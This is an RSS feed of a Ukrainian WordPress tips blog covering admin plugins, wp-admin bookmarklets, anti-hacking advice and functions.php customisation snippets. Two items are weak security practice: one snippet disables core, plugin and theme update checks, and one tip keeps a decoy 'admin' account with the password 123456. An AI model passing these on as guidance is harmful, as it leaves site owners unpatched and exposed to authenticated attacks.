<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>wordpress фішки &#8211; країна має талант</title>
	<atom:link href="https://lilumi.org.ua/category/wordpress/feed" rel="self" type="application/rss+xml" />
	<link>https://lilumi.org.ua</link>
	<description></description>
	<lastBuildDate>Sat, 20 Jan 2024 15:41:19 +0000</lastBuildDate>
	<language>uk</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.7.1</generator>
	<item>
		<title>Плагіни для менеджменту WordPress зсередини адмінки</title>
		<link>https://lilumi.org.ua/wordpress/wp-plugins-for-service-management</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sat, 20 Jan 2024 15:09:05 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<guid isPermaLink="false">https://lilumi.org.ua/?p=785</guid>

					<description><![CDATA[Увага: плагіни по типу file manager несуть в собі небезпеку тому, що в будь який момент може виявитись вразливість, яка дозволить отримати доступ до файлів зловмисникам. Тому я не рекомендую тримати цей плагін на сайті на постійній основі. Встановіть, зробіть що вам треба і видаліть цей плагін. Не тримайте його постійно на сайті. Тому що,...]]></description>
										<content:encoded><![CDATA[
<pre class="wp-block-code has-light-gray-background-color has-background"><code>download-theme</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="kfMPCaSCWE"><a href="https://wordpress.org/plugins/download-theme/">Download Theme</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Download Theme&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/download-theme/embed/#?secret=WgfqzEw2ij#?secret=kfMPCaSCWE" data-secret="kfMPCaSCWE" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption">Щоб скачати тему прямо з сайту. (далі можна модифікувати тему і перезалити через адмінку)</figcaption></figure>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>



<pre class="wp-block-code"><code>download-plugin</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="HgvEnaJ9HL"><a href="https://wordpress.org/plugins/download-plugin/">Download Plugin</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Download Plugin&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/download-plugin/embed/#?secret=G2zT5QIzPT#?secret=HgvEnaJ9HL" data-secret="HgvEnaJ9HL" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption"> Щоб скачати плагін прямо з адмінки</figcaption></figure>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>



<pre class="wp-block-code has-light-gray-background-color has-background"><code>wp-rollback</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="o1GXK2NCbj"><a href="https://wordpress.org/plugins/wp-rollback/">WP Rollback &#8211; Rollback Plugins and Themes</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;WP Rollback &#8211; Rollback Plugins and Themes&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/wp-rollback/embed/#?secret=ndkJdke00s#?secret=o1GXK2NCbj" data-secret="o1GXK2NCbj" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption">Щоб швидко відкотитись з адмінки до попередньої версії плагіну чи теми</figcaption></figure>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>



<pre class="wp-block-code has-light-gray-background-color has-background"><code>core-rollback</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="rJQoS3y9Vx"><a href="https://wordpress.org/plugins/core-rollback/">Core Rollback</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Core Rollback&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/core-rollback/embed/#?secret=hE87at34WT#?secret=rJQoS3y9Vx" data-secret="rJQoS3y9Vx" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption">Щоб відкотитись до попередньої версії вордпресу</figcaption></figure>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>



<pre class="wp-block-code has-light-gray-background-color has-background"><code>file-manager</code></pre>



<figure class="wp-block-embed is-type-wp-embed is-provider-plugin-directory wp-block-embed-plugin-directory"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="ANs3uuPkmT"><a href="https://wordpress.org/plugins/file-manager/">Bit File Manager – 100% Free &amp; Open Source File Manager and Code Editor for WordPress</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Bit File Manager – 100% Free &amp; Open Source File Manager and Code Editor for WordPress&#8221; &#8212; Plugin Directory" src="https://wordpress.org/plugins/file-manager/embed/#?secret=VVn4fKtvoJ#?secret=ANs3uuPkmT" data-secret="ANs3uuPkmT" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div><figcaption class="wp-element-caption">Рекомендую цей плагін, так як він вміє показувати права на файли і якому юзеру/групі належить файл чи папка</figcaption></figure>



<p><strong>Увага</strong>: плагіни по типу file manager несуть в собі небезпеку тому, що в будь який момент може виявитись вразливість, яка дозволить отримати доступ до файлів зловмисникам. Тому я не рекомендую тримати цей плагін на сайті на постійній основі. Встановіть, зробіть що вам треба і видаліть цей плагін. Не тримайте його постійно на сайті. Тому що, навіть у виключеному стані він може містити вразливість, що дозволить ним скористатись. </p>



<hr class="wp-block-separator has-text-color has-bright-blue-color has-alpha-channel-opacity has-bright-blue-background-color has-background is-style-wide"/>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Букмарклети для швидкого доступу в адмінку WordPress&#8217;у</title>
		<link>https://lilumi.org.ua/wordpress/bookmarklet-quick-wp-admin</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Wed, 04 Sep 2013 09:00:03 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[bookmarklet]]></category>
		<category><![CDATA[букмарклет]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=738</guid>

					<description><![CDATA[Мені щодня приходиться відкривати купу різних сайтів, зроблених на wordpress&#8217;і і так само часто приходиться заходити в адмінки цих сайтів. Раніше доводилось щоразу копіювати адресу сайту, відкривати нову вкладку, вставляти адресу сайту і потім дописувати /wp-admin в кінці адреси. Це довго, нудно і не по-самурайськи. Тому я зайнявся вирішенням цієї проблеми і написав універсальні букмарклети,...]]></description>
										<content:encoded><![CDATA[<p>Мені щодня приходиться відкривати купу різних сайтів, зроблених на wordpress&#8217;і і так само часто приходиться заходити в адмінки цих сайтів. Раніше доводилось щоразу копіювати адресу сайту, відкривати нову вкладку, вставляти адресу сайту і потім дописувати /wp-admin в кінці адреси. Це довго, нудно і не по-самурайськи. Тому я зайнявся вирішенням цієї проблеми і написав універсальні букмарклети, які відкриватимуть вам сторінку адмінки.</p>
<p>Щоб додати букмарклет, просто перетягніть його звідси на панель закладок вашого браузера. <br />Wp-admin відкриє адмінку в поточному табі, а wp-admin* відкриє адмінку в новому табі. Вибирайте, що кому більше подобається.</p>
<p><a class="bookmarklet" href="javascript:(function(){window.location='http://'+location.hostname+'/wp-admin';})();">WP-ADMIN</a> <a class="bookmarklet" href="javascript:(function(){window.open('http://'+location.hostname+'/wp-admin')})();">WP-ADMIN*</a></p>
<p>Єдиний недолік в тому, що букмарклет не буде працювати коректно, якщо використовувати на WordPress Multisite де сайти розташовуються в підпапках, а не на субдоменах. Ну і якщо сам вордпрес встановлено в підпапку (наприклад в /blog/), а не в корінь сайту, то букмарклет також працювати не буде, але процент таких сайтів дуже малий.</p>
<p>Якщо виникли якісь питання з цього приводу — питайте, не зволікайте :)</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>І знову про захист сайту від зламу</title>
		<link>https://lilumi.org.ua/wordpress/secure-site</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Tue, 14 May 2013 21:11:45 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[wordpress plugins]]></category>
		<category><![CDATA[вірус]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=711</guid>

					<description><![CDATA[Останнім часом до мене все частіше почали звертатись клієнти з підозрами на взламані сайти на wordpress&#8217;i. Якщо ви також помітили щось підозріле в роботі свого сайту, то ця стаття для вас. Помітити, що сайт взламаний не завжди вдається. Ось у мене був випадок, коли клієнт чисто випадково помітив, що на його сайті внизу були сторонні...]]></description>
										<content:encoded><![CDATA[<p>Останнім часом до мене все частіше почали звертатись клієнти з підозрами на взламані сайти на wordpress&#8217;i. Якщо ви також помітили щось підозріле в роботі свого сайту, то ця стаття для вас.</p>
<p>Помітити, що сайт взламаний не завжди вдається. Ось у мене був випадок, коли клієнт чисто випадково помітив, що на його сайті внизу були сторонні посилання на сайти з продажу ліків. В інтернеті це називається pharma hack. Але щоб виявити, що ваш сайт заражений цим &#8220;вірусом&#8221; потрібно його відвідати, але з певними умовами:<br />— це має бути захід через гугл по пошуковій фразі<br />— з цієї ip-адреси ви ще жодного разу не заходили на свій сайт<br />— з цього броузера ви ще жодного разу не заходили на свій сайт (або почистити кукі).<br />Саме через те, що &#8220;лєві&#8221; посилання показуються лише при цих умовах, власники сайтів навіть не здогадуються, що їх сайт був зламаний.</p>
<p>Але якщо ви так і не виявили сторонніх посилань на сайті, то не спішіть радіти, ваш сайт може бути взламаний іншим чином і може містити руткіт, або бути учасником бот-мережі. Ці проблеми не є новими, тож в якості протидії їм розробники різних мастей зробили купу плагінів, що покривають ті чи інші аспекти по підвищенню захищеності сайту. Я ж розповім про те, які плагіни обрав сам і рекомендую іншим.<span id="more-711"></span></p>
<p><strong>1.Почну з банального &#8211; не використовуйте в якості адміністратора логін admin</strong> (а також його похідні: adminadmin, administrator, root). Якщо у вас уже є такий логін, то створіть новий акаунт з іншим нестандартним іменем, наприклад: direktor. Для цього нового акаунта дайте права адміністратора, а акаунт admin видаліть, або ж дайте йому роль &#8220;підписник&#8221;. Ну і звісно, що потрібно обирати складні паролі &#8211; з цифрами, буквами в верхньому регістрі і достатньо довгим (мінімум 8 символів).</p>
<p><figure id="attachment_713" aria-describedby="caption-attachment-713" style="width: 418px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-713" alt="cracklogin" src="https://lilumi.org.ua/files/2013/05/cracklogin.png" width="418" height="340" srcset="https://lilumi.org.ua/files/2013/05/cracklogin.png 418w, https://lilumi.org.ua/files/2013/05/cracklogin-300x244.png 300w" sizes="auto, (max-width: 418px) 100vw, 418px" /><figcaption id="caption-attachment-713" class="wp-caption-text">Спроби підібрати пароль ботами</figcaption></figure></p>
<p><strong>2.Встановіть плагін <a href="http://wordpress.org/extend/plugins/limit-login-attempts/">Limit Login Attempts</a>.</strong> По замовчуванню, він буде блокувати всіх, хто 5 разів неправильно введе логін-пароль на 20 хвилин. Якщо з цього айпі будуть нові спроби підбору паролю, то плагін заблокує доступ вже на 24 години. Це значно покращить захист вашого сайту. Бо зараз існують цілі мережі ботів, що тільки тим і займаються, що підбирають паролі до адмінки. Цілком можливо, що саме в цю секунду на ваш сайт здійснюється масована атака ботів, що підбирають пароль.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-714" alt="sentinells" src="https://lilumi.org.ua/files/2013/05/sentinells.png" width="600" height="450" srcset="https://lilumi.org.ua/files/2013/05/sentinells.png 600w, https://lilumi.org.ua/files/2013/05/sentinells-300x225.png 300w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p>Окрім цього, я використовую такий хитрий хід: для логіну admin, даю роль &#8220;підписник&#8221; і ставлю йому простий пароль: 123456. Боти дуже швидко підбирають пароль, входять в адмінку, але нічого більше зробити не можуть ;)</p>
<p><em>В одного мого клієнта була ситуація, що його сайт зламав бот якраз через слабкий пароль в адмінку і цей же бот модифікував файли, щоб показувати рекламу для всіх відвідувачів з мобільних телефонів. Я точно впевнений, що хакер, який володіє цим ботом, навіть не заходив на сайт, бо то на тому ж хостингу в сусідній папці був іще один сайт, який не зазнав жодних змін. Тобто, як бачите, зараз весь процес взлому сайту повністю автоматизований і не потребує людського втручання.</em></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-712" alt="bwp" src="https://lilumi.org.ua/files/2013/05/bwp.png" width="600" height="194" srcset="https://lilumi.org.ua/files/2013/05/bwp.png 600w, https://lilumi.org.ua/files/2013/05/bwp-300x97.png 300w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p><strong>3. Встановіть плагін <a href="http://wordpress.org/extend/plugins/better-wp-security">Better WP Security</a>.</strong> Це дуже потужний плагін для продвинутих юзерів. Деякий функціонал в ньому потрібно включати з обережністю, бо він може вплинути на інші плагіни, які заглючать від цього. Під такими галочками, що включать конфліктний функціонал, є попередження, так що будьте уважні. <br />По суті він може замінити і плагін Limit Login Attempts, бо також має функцію блокування від підбору пароля. </p>
<p>Я налаштовую його так: вмикаю 404 detection та File Change Detection та вмикаю надсилання емейлу про щоденні логи по цим пунктам. В Directory Check List вніс папку wp-content/cache, щоб зміни в ній не фіксувались. Більше я нічого не використовую з його функціоналу. І ще нюанс: листи з цього плагіну гугл вперто відправляє спам, тож майте це на увазі.</p>
<p><strong>Ну і останній пункт — не забувайте робити бекапи.</strong> Якщо сайт взламають, а у вас буде свіжий бекап, то можна швидко повернути сайт до попереднього стану і заодно, порівнюючи файли з зараженого і незараженого бекапу, можна вияснити, яким чином хакер проникнув всередину. Зараз існує ряд різноманітних плагінів для вордпресу, що можуть робити бекапи і на емейли і на dropbox, і на інші онлайн-сервіси. Я ж користуюсь плагіном <a href="http://wordpress.org/extend/plugins/backupwordpress/">BackUpWordPress</a> в якому можна окремо запланувати розклад бекапу для бази данних та окремо для файлів. А потім через фтп зливаю їх час від часу собі на копм.</p>
<p>На цьому все, якщо є якісь питання чи доповнення, пишіть.<br />Бажаю щоб ваші сайти ніколи не зламали.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Десяток корисних хаків для WordPress</title>
		<link>https://lilumi.org.ua/wordpress/10-wordpress-hacks</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Fri, 26 Nov 2010 15:54:21 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[functions.php]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress hacks]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=671</guid>

					<description><![CDATA[Вирішив зібрати колекцію хаків та фішок, які я останнім часом часто використовую при створенні сайтів на WordPress. Брендована адмінка. Задача: Зробити вивід власного логотипу замість логотипу WordPress на сторінці логіну в адмінку, та в заголовку адмінки. Для виводу логотипу на сторінці логіну зкопіюйте цей код в файл functions.php вашої теми: function my_custom_login_logo() { echo '&#60;style...]]></description>
										<content:encoded><![CDATA[<p>Вирішив зібрати колекцію хаків та фішок, які я останнім часом часто використовую при створенні сайтів на WordPress.</p>
<h3>Брендована адмінка.</h3>
<p>Задача: Зробити вивід власного логотипу замість логотипу WordPress на сторінці логіну в адмінку, та в заголовку адмінки.</p>
<p>Для виводу логотипу на сторінці логіну зкопіюйте цей код в файл functions.php вашої теми:</p>
<pre><code class="php"><span class="keyword">function</span> my_custom_login_logo() {
    <span class="keyword">echo</span> <span class="string">'&lt;style type="text/css"&gt;
        html {background-color:#001721;}
        h1 a { background-image:url('</span>.get_bloginfo(<span class="string">'template_directory'</span>).<span class="string">'/images/logo.png) !important; } &lt;/style&gt;'</span>;
}

add_action(<span class="string">'login_head'</span>, <span class="string">'my_custom_login_logo'</span>);</code></pre>
<p>Цим самим ви замінюєте вивід логотипа на власний logo.png , що знаходиться в папці images вашої поточної теми. Як бачите, зміни стосуються лише css&#8217;у і ви можете туди додати ще свої стилі для інших елементів (я, наприклад, ще люблю поміняти фон під фірмові кольори та тінь додати яскравого кольору, щоб було як ефект м’ягкої підсвітки)</p>
<p>Ось приклади таких сторінок логіну:</p>
<p><a href="https://lilumi.org.ua/files/2010/11/login.jpg"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-673" title="логін в адмінку" src="https://lilumi.org.ua/files/2010/11/login-600x184.jpg" alt="" width="600" height="184" /></a></p>
<p>А ось код, що змінить логотип в заголовку адмінки:</p>
<p><span id="more-671"></span></p>
<pre><code class="php"> <span class="keyword">function</span> my_custom_logo() {
    <span class="keyword">echo</span> <span class="string">'&lt;style type="text/css"&gt;#header-logo { background-image: url('</span>.get_bloginfo(<span class="string">'template_directory'</span>).<span class="string">'/img/clogo.png) !important; }&lt;/style&gt; '</span>;
    }
add_action(<span class="string">'admin_head'</span>, <span class="string">'my_custom_logo'</span>);</code></pre>
<p>Тут я теж люблю додавати стилі, щоб забрати заголовок сайту і зробити лого клікабельним. <a href="http://www.free-lance.ru/users/lilumi/viewproj.php?prjid=2063794">Приклад зміненої шапки адмінки</a></p>
<h3>Заміна тексту в футері адмінки</h3>
<p>Ще одна фішка, добавляє в футер адмінки дані про використану оперативку на хостингу і кількість запитів до MySQL та швидкість генерації сторінки:</p>
<pre><code class="php"><span class="keyword">function</span> usage(<span class="variable">$value</span>) {
	<span class="keyword">if</span> (<span class="variable">$value</span> == <span class="number">1</span>)
		<span class="keyword">echo</span> <span class="string">'&lt;div class="usage"&gt;'</span>;
	
	printf((<span class="string">'%d / %s'</span>), get_num_queries(), timer_stop(<span class="number">0</span>, <span class="number">3</span>));
	<span class="keyword">echo</span> <span class="string">' / '</span> . round(memory_get_usage()/<span class="number">1024</span>/<span class="number">1024</span>, <span class="number">2</span>) . <span class="string">' мб'</span>;
	
	<span class="keyword">if</span> (<span class="variable">$value</span> == <span class="number">1</span>)
		<span class="keyword">echo</span> <span class="string">'&lt;/div&gt;'</span>;
}
add_action(<span class="string">'admin_footer_text'</span>, <span class="string">'usage'</span>);</code></pre>
<p>Звичайно ви можете замінити це і в команді echo виводити якусь іншу інформацію.</p>
<h3>Видалення непотрібних блоків в &#8220;Майстерні&#8221;</h3>
<p>Наступний хак видаляє непотрібні блоки з головної сторінки адмінки, так званої &#8220;Майстерні&#8221; :</p>
<pre><code class="php"><span class="keyword">function</span> custom_dashboard() {
	<span class="keyword">global</span> <span class="variable">$wp_meta_boxes</span>;

	<span class="comment">//unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);</span>
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_recent_comments'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_incoming_links'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_plugins'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_quick_press'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_recent_drafts'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_primary'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_secondary'</span>]);
}
add_action(<span class="string">'wp_dashboard_setup'</span>, <span class="string">'custom_dashboard'</span>);</code></pre>
<p>В кожному рядку видаляється по одному блоку з &#8220;Майстерні&#8221;:</p>
<p>dashboard_recent_comments — свіжі коментарі<br />
 dashboard_incoming_links — вхідні посилання<br />
 dashboard_plugins — rss новин плагіни<br />
 dashboard_quick_press — швидка публікація<br />
 dashboard_recent_drafts — нещодавні чернетки<br />
 dashboard_primary — rss новини WordPress<br />
 dashboard_secondary — rss інші новини WordPress</p>
<p>Я зазвичай видаляю все окрім основного блоку &#8220;Прямо зараз&#8221;. На сайтах з включеною можливістю коментування ще залишаю блок &#8220;Свіжі коментарі&#8221;. Ви можете так само вибірково видалити непотрібні елементи, видаливши рядок, що відповідає йому.</p>
<h3>Видалення непотрібних блоків в head секції</h3>
<p>Наступний хак я використовую на сайтах-візитках де не потрібно rss і перелінковки між постами, так як основний контент йде на сторінках. Він видаляє купу непотрібних рядків в секції head коду html.</p>
<pre><code class="php">remove_action(<span class="string">'wp_head'</span>, <span class="string">'feed_links'</span>, <span class="number">2</span>); <span class="comment">//rss</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'feed_links_extra'</span>, <span class="number">3</span>); <span class="comment">//atom </span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'index_rel_link'</span>); <span class="comment">// тут і нижче лінки для перелінковки сторінок</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'adjacent_posts_rel_link_wp_head'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'next_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'parent_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'rel_canonical'</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'start_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'rsd_link'</span>); <span class="comment">// лінка для трекбеків</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'wlwmanifest_link'</span>); <span class="comment">// лінка для редактора Windows Live Writer</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'wp_generator'</span>); <span class="comment">// тег, в якому пише версія вордпресу</span>
remove_action( <span class="string">'init'</span>, <span class="string">'wp_version_check'</span> ); <span class="comment">// видалення провірки оновлень</span>
remove_action( <span class="string">'load-plugins.php'</span>, <span class="string">'wp_update_plugins'</span> ); <span class="comment">// не провіряти оновлення плагінів</span>
remove_action( <span class="string">'load-update.php'</span>, <span class="string">'wp_update_plugins'</span> );
remove_action( <span class="string">'admin_init'</span>, <span class="string">'_maybe_update_plugins'</span> );
remove_action( <span class="string">'wp_update_plugins'</span>, <span class="string">'wp_update_plugins'</span> );
remove_action( <span class="string">'admin_init'</span>, <span class="string">'_maybe_update_themes'</span> ); <span class="comment">// не провіряти оновлення тем</span>
remove_action( <span class="string">'wp_update_themes'</span>, <span class="string">'wp_update_themes'</span> );
</code></pre>
<p>Використовувати це чи ні на вашому блозі це вже на ваш розсуд.</p>
<h3>Заборона вставляти лінки в коментарях</h3>
<p>Якщо ви не хочете, щоб лінки залишені коментаторами автоматично конвертувались в клікабельні посилання, то вставте цей код в functions.php:</p>
<pre><code class="php">remove_filter(<span class="string">'comment_text'</span>, <span class="string">'make_clickable'</span>, <span class="number">9</span>)</code></pre>
<p>&nbsp;</p>
<h3>Показувати повідомлення про нову версію вордпреса лише для адмінів</h3>
<pre><code class="php">< ?php
<span class="keyword">function</span> stop_wpupdate() {
<span class="keyword">if</span> ( current_user_can(<span class="string">'manage_options'</span>) ) {
<span class="keyword">return</span>;
} <span class="keyword">else</span> {
remove_action( <span class="string">'admin_notices'</span>, <span class="string">'update_nag'</span>, <span class="number">3</span> );
}
}
add_action( <span class="string">'admin_notices'</span>, <span class="string">'stop_wpupdate'</span>, <span class="number">1</span> );
<span class="preprocessor">?></span>
</code></pre>
<p>&nbsp;</p>
<h3>Кнопки видалення коментарів на сторінці посту</h3>
<p>Попередня фішка з показом повідомлень оновлень вордпресу для адмінів використовує функцію current_user_can яка визначає, чи має поточний юзер певні права. На основі цього я зробив фішку, що показує лінки на видалення коментарів і встановлення помітки &#8220;спам&#8221; для адміністраторів на сторінці посту. Цей код вставляєм в functions.php:</p>
<pre><code class="php"><span class="keyword">function</span> delete_comment_link(<span class="variable">$id</span>) {
  <span class="keyword">if</span> (current_user_can(<span class="string">'edit_post'</span>)) {
    <span class="keyword">echo</span> <span class="string">'| &lt;a href="'</span>.admin_url(<span class="string">"comment.php?action=cdc&amp;amp;c=$id"</span>).<span class="string">'"&gt;del&lt;/a&gt; '</span>;
    <span class="keyword">echo</span> <span class="string">'| &lt;a href="'</span>.admin_url(<span class="string">"comment.php?action=cdc&amp;amp;dt=spam&amp;amp;c=$id"</span>).<span class="string">'"&gt;spam&lt;/a&gt;'</span>;
  }
}</code></pre>
<p>А саму функцію delete_comment_link вставляєм в файл comments.php вашої теми після функції edit_comment_link :</p>
<pre><code class="php"><span class="preprocessor">&lt;?php</span> edit_comment_link(<span class="string">'Edit'</span>,<span class="string">''</span>,<span class="string">' '</span>); delete_comment_link(get_comment_ID());<span class="preprocessor">?&gt;</span></code></pre>
<p>&nbsp;</p>
<h3>Анонс постів з певної рубрики в сайдбарі</h3>
<p>В мене було завдання вивести в сайдбарі по першому реченню із трьох постів в рубриці &#8220;Проекти&#8221;. Я використав такий код в файлі sidebar.php :</p>
<pre><code class="php">     &lt;div <span class="keyword">class</span>=<span class="string">"sidenews"</span>&gt;
     <span class="preprocessor">&lt;?php</span> <span class="variable">$my_query</span> = <span class="keyword">new</span> WP_Query(<span class="string">'category_name=projects&amp;showposts=3'</span>);
     <span class="keyword">while</span> (<span class="variable">$my_query</span>-&gt;have_posts()) : <span class="variable">$my_query</span>-&gt;the_post(); <span class="preprocessor">?&gt;</span>
     &lt;h3&gt;&lt;a href=<span class="string">"&lt;?php the_permalink() ?&gt;"</span> title=<span class="string">"&lt;?php the_title(); ?&gt;"</span>&gt;<span class="preprocessor">&lt;?php</span> the_title(); <span class="preprocessor">?&gt;</span>&lt;/a&gt;&lt;/h3&gt;
     <span class="preprocessor">&lt;?php</span> preg_match( <span class="string">'/^.{150,}?[.?!]+(?=\s|$)/ '</span>, get_the_content(), <span class="variable">$A</span> );
                               <span class="keyword">echo</span> <span class="string">'&lt;p&gt;'</span>.<span class="variable">$A</span>[ <span class="number">0</span> ].<span class="string">'&lt;/p&gt;'</span>; <span class="preprocessor">?&gt;</span>   
     <span class="preprocessor">&lt;?php</span> <span class="keyword">endwhile</span>; <span class="preprocessor">?&gt;</span>
     &lt;p&gt;&lt;a href=<span class="string">"&lt;?php echo get_category_link('4') ?&gt;"</span>&gt;Все проекты&lt;/a&gt;&lt;/p&gt;
     &lt;/div&gt;
</code></pre>
<p>Використаний регулярний вираз шукає перше речення, але якщо це речення менше 150 символів, то вона захопить і наступні речення. Таким чином я уникнув помилки, коли в першому реченні зустрічається чиєсь прізвище чи адрес сайту.</p>
<h3>Вставка кнопки твітера Tweet</h3>
<p>Щоб появилась кнопка з підрахуноком кількості ретвітів потрібно вставити ось такий код в файл single.php вашої теми (наприклад після коду the_title(); ):</p>
<pre><code class="php">&lt;a href=<span class="string">"http://twitter.com/share"</span> <span class="keyword">class</span>=<span class="string">"twitter-share-button"</span> data-text=<span class="string">"&lt;?php the_title(); ?&gt;"</span> data-url=<span class="string">"&lt;?php the_permalink(); ?&gt;"</span> data-count=<span class="string">"horizontal"</span>&gt;Tweet&lt;/a&gt;<br />&lt;script type=<span class="string">"text/javascript"</span> src=<span class="string">"http://platform.twitter.com/widgets.js"</span>&gt;&lt;/script&gt;</code></pre>
<p>Це виведе горизонтальну кнопку з кількістю ретвітів з правої сторони. А щоб кількість ретвітів показувалось над кнопкою, то замініть <code>data-count="horizontal"</code> на <code>data-count="vertical"</code></p>
<p>Ну і наостанок маленький хак: щоб в редакторі постів зробити перенос рядка br потрібно натискати Shift+Enter</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Взломали ваш блог на Вордпресі. Не знаєте що робити? Тоді читайте!</title>
		<link>https://lilumi.org.ua/wordpress/defend-your-wordpress-blog-after-hack-attack</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sun, 06 Sep 2009 09:31:37 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[hack wordpress]]></category>
